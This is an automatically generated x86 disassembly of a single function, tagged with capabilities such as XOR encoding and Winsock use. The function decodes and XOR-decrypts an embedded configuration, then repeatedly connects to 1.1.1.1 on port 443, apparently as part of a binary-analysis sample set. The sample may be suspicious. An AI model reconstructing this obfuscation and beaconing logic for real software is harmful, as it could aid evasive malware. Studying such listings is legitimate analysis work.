Function at 0x402ba0
Capabilities:
Encode data using xor
Initialize winsock library
Reference cloudflare dns server

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x304
mov eax, dword [0x44e054]
xor eax, esp
mov dword [esp + 0x300], eax
push ebx
push esi
mov ebx, ecx
push edi
mov dword [esp + 0x10], ebx
call fcn.00408d90
mov dword [eax], 0x408f90
call fcn.00408d90
mov esi, ebx
mov dword [eax + 0xc], 1
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x402be0
sub esi, ecx
cmp esi, 0x152
ja 0x403220
push 0xfa
lea eax, [esp + 0x20c]
push 0
push eax
call fcn.00428f20
add esp, 0xc
xor edi, edi
xor ebx, ebx
test esi, esi
je 0x402cd6
nop dword [eax + eax]
mov eax, dword [esp + 0x10]
mov cl, byte [edi + eax]
cmp cl, 0x3d
je 0x402cd6
lea eax, [ecx - 0x2b]
cmp al, 0x4f
ja case.default.0x402c55
movsx eax, cl
mov cl, byte [eax + 0x44be35]
movsx edx, cl
cmp edx, 0xffffffff
je case.default.0x402c55
mov eax, edi
and eax, 3
jmp dword [eax*4 + 0x403254]
shl cl, 2
mov byte [esp + ebx + 0x208], cl
jmp 0x402cc8
shr edx, 4
lea eax, [esi - 3]
and dl, 3
add byte [esp + ebx + 0x208], dl
inc ebx
cmp edi, eax
jb 0x402c88
mov eax, dword [esp + 0x10]
cmp byte [esi + eax - 2], 0x3d
je 0x402cc8
shl cl, 4
mov byte [esp + ebx + 0x208], cl
jmp 0x402cc8
shr edx, 2
lea eax, [esi - 2]
and dl, 0xf
add byte [esp + ebx + 0x208], dl
inc ebx
cmp edi, eax
jb 0x402cb4
mov eax, dword [esp + 0x10]
cmp byte [esi + eax - 1], 0x3d
je 0x402cc8
shl cl, 6
mov byte [esp + ebx + 0x208], cl
jmp 0x402cc8
add byte [esp + ebx + 0x208], cl
inc ebx
inc edi
cmp edi, esi
jb 0x402c20
jmp 0x402cd6
or ebx, 0xffffffff
cmp bl, 0xf
jb 0x403220
mov ecx, 5
mov byte [esp + 0xf], 5
mov esi, ecx
nop dword [eax + eax]
xor edx, edx
mov eax, ecx
div esi
mov al, byte [esp + edx + 0x208]
mov dl, byte [esp + 0xf]
xor al, dl
inc dl
xor byte [esp + ecx + 0x208], al
inc ecx
mov byte [esp + 0xf], dl
cmp dl, bl
jb 0x402cf0
push 0x7d0
call fcn.0042def2
mov esi, eax
add esp, 4
test esi, esi
je 0x402d62
lea eax, [esi + 0x7d0]
mov dword [esp + 0x1f8], str._____________________
xor edx, edx
mov dword [esp + 0x1fc], esi
lea ecx, [esp + 0x1f8]
mov dword [esp + 0x200], eax
call fcn.004043e0
test eax, eax
jne 0x402d64
push esi
call fcn.0042d5f0
add esp, 4
xor esi, esi
mov ecx, esi
call fcn.004040f0
push esi
mov edi, eax
call fcn.0042d5f0
add esp, 4
lea eax, [esp + 0x1c8]
push 0x30
push 0
push eax
call fcn.00428f20
imul eax, dword [edi], 0xb0
add esp, 0xc
push eax
call fcn.0042def2
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
je 0x403220
push eax
push 0xc
lea eax, [esp + 0x1d0]
movzx ecx, bl
sub ecx, 5
lea edx, [esp + 0x215]
push eax
push ecx
mov ecx, edi
call fcn.00404aa0
push dword [esp + 0x20]
mov esi, eax
call fcn.0042d5f0
add esp, 0x14
test esi, esi
jle 0x403220
mov eax, dword [esp + 0x1d0]
mov esi, 0x95
mov ecx, dword [esp + 0x1d4]
sub ecx, eax
cmp ecx, esi
cmovg ecx, esi
push ecx
push eax
push 0x451960
call fcn.004289a0
mov eax, dword [esp + 0x1e4]
add esp, 0xc
mov ecx, dword [esp + 0x1dc]
mov edx, 9
sub ecx, eax
mov word [esp + 0x200], 0
cmp ecx, edx
xorps xmm0, xmm0
movq qword [esp + 0x1f8], xmm0
cmovg ecx, edx
push ecx
push eax
lea eax, [esp + 0x200]
push eax
call fcn.004289a0
add esp, 0xc
lea eax, [esp + 0x1f8]
push eax
call fcn.0042deb3
mov ecx, dword [esp + 0x1e8]
add esp, 4
mov dword [0x451a90], eax
mov eax, dword [esp + 0x1e0]
sub ecx, eax
cmp ecx, esi
cmovg ecx, esi
push ecx
push eax
push 0x4518a8
call fcn.004289a0
mov esi, dword [esp + 0x200]
add esp, 0xc
mov edx, dword [esp + 0x1f0]
mov ebx, 0xa
mov ecx, dword [esp + 0x1ec]
sub esi, edx
mov eax, dword [esp + 0x1e8]
cmp esi, ebx
push edx
cmovg esi, ebx
sub ecx, eax
push esi
push 0x44b94c
cmp ecx, ebx
push eax
cmovg ecx, ebx
push ecx
push str._client_version_:__.s._s._.s_
push 0x451aa0
call fcn.00401050
add esp, 0x1c
test eax, eax
jle 0x403220
push edi
call fcn.0042d5f0
add esp, 4
mov byte [0x451a8c], 0
lock inc dword [0x451a14]
push 0xe8
call fcn.0042def2
mov edi, eax
add esp, 4
test edi, edi
je 0x403235
movsd xmm0, qword [0x44c118]
mov esi, 0x451a30
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
movsd qword [esp + 0x1f8], xmm0
nop dword [eax + eax]
push 0xe8
push 0
push edi
call fcn.00428f20
add esp, 0xc
mov ecx, 1
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
jne 0x402f4f
lea eax, [esp + 0x38]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [edi + 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [edi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [edi + 0x34], eax
lea eax, [edi + 0x74]
mov dword [eax], eax
mov dword [eax + 4], eax
lea eax, [edi + 0xd0]
push eax
mov dword [edi + 0x80], 0
mov dword [edi + 0x84], 0
mov dword [edi + 0x88], 0x405000
mov dword [edi + 0x8c], 0
mov dword [edi + 0x90], 0
mov dword [edi + 0x94], 0x405000
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esp + 0x28]
mov dword [edi + 0xbc], 0xffffffff
push eax
mov dword [edi + 0xb8], 0xffffffff
call fcn.0042e267
mov eax, dword [esp + 0x2c]
mov esi, 0x3e8
cdq
add esp, 4
mov ecx, eax
mov eax, edx
mul esi
mov esi, eax
mov eax, ecx
mov ecx, 0x3e8
mul ecx
mov ecx, eax
add esi, edx
movzx eax, word [esp + 0x30]
cdq
add ecx, eax
mov eax, dword [0x451a28]
mov dword [edi + 8], ecx
adc esi, edx
or eax, dword [0x451a2c]
mov dword [edi + 0xc], esi
jne 0x40304b
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [0x451a28], ecx
or ecx, eax
mov dword [0x451a2c], eax
jne 0x40304b
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
jmp 0x403095
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
call fcn.004418d0
mov edx, dword [0x451a2c]
mov ecx, dword [0x451a28]
movsd qword [esp + 0x18], xmm0
call fcn.004418d0
movsd xmm1, qword [esp + 0x18]
divsd xmm1, xmm0
mulsd xmm1, qword [esp + 0x1f8]
movaps xmm0, xmm1
call fcn.00441820
or dword [edi], 2
push ecx
mov dword [edi + 0x24], edx
mov ecx, edi
mov dword [edi + 0x14], edx
mov edx, str.1.1.1.1
push 0x1000000
push 0x1bb
mov dword [edi + 0x20], eax
mov dword [edi + 0x10], eax
mov dword [0x451a88], edi
call fcn.00406560
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4030ec
mov ecx, esi
mov dword [esi + 0xb8], 0x402ad0
mov dword [esi + 0xb0], 0x4028a0
call fcn.00407070
xor ecx, ecx
test eax, eax
cmovne esi, ecx
call fcn.0040ad40
test eax, eax
je 0x403109
or dword [esi + 0x24], 0x8000
mov dword [esi + 0x28], 0x1000000
mov dword [esi + 0xfc], eax
mov esi, dword [0x451a88]
test esi, esi
je 0x4031d8
cmp dword [esi + 4], 1
je 0x4031d8
mov dword [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esi + 0x3c], 0
mov dword [esi + 0x34], eax
jne 0x403164
lea edi, [esi + 0xd0]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esi + 0xbc], 0xffffffff
jne 0x40315d
mov ecx, esi
call fcn.00405660
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [esi + 4]
test eax, eax
je 0x4031aa
nop dword [eax + eax]
cmp eax, 2
jne 0x403182
push 0xa
call ebx
mov ecx, esi
call fcn.00405d00
jmp 0x4031a3
add dword [esi + 0x28], 1
adc dword [esi + 0x2c], 0
test byte [esi], 4
je 0x403197
mov eax, dword [esi + 0x40]
cmp eax, dword [esi + 0x3c]
jbe 0x4031aa
mov ecx, esi
call fcn.00405290
test byte [esi], 1
jne 0x4031aa
mov eax, dword [esi + 4]
test eax, eax
jne 0x403170
mov dword [esi + 4], 0
call fcn.004095e0
test byte [esi], 2
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], edx
je 0x4031d8
mov ecx, esi
call fcn.00405aa0
push esi
call fcn.0042d5f0
add esp, 4
lock inc dword [0x451a18]
cmp byte [0x451a8c], 0
mov dword [0x451a94], 0
mov dword [0x451a88], 0
jne 0x403220
push 0x3a98
call ebx
lock inc dword [0x451a14]
push 0xe8
call fcn.0042def2
mov edi, eax
add esp, 4
mov esi, 0x451a30
test edi, edi
je 0x403235
jmp 0x402f20
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00427ab1
mov esp, ebp
pop ebp
ret
push str.malloc_failed__n
push 2
call fcn.0042ad65
add esp, 4
push eax
call fcn.004081f0
add esp, 8
push 0xffffffffffffffff
call fcn.0042e736
pop esp
sub al, 64
add byte [eax + 0x2c], ch
inc eax
add byte [esp + ebp + 0x2cc00040], dl
inc eax
add ah, cl
int3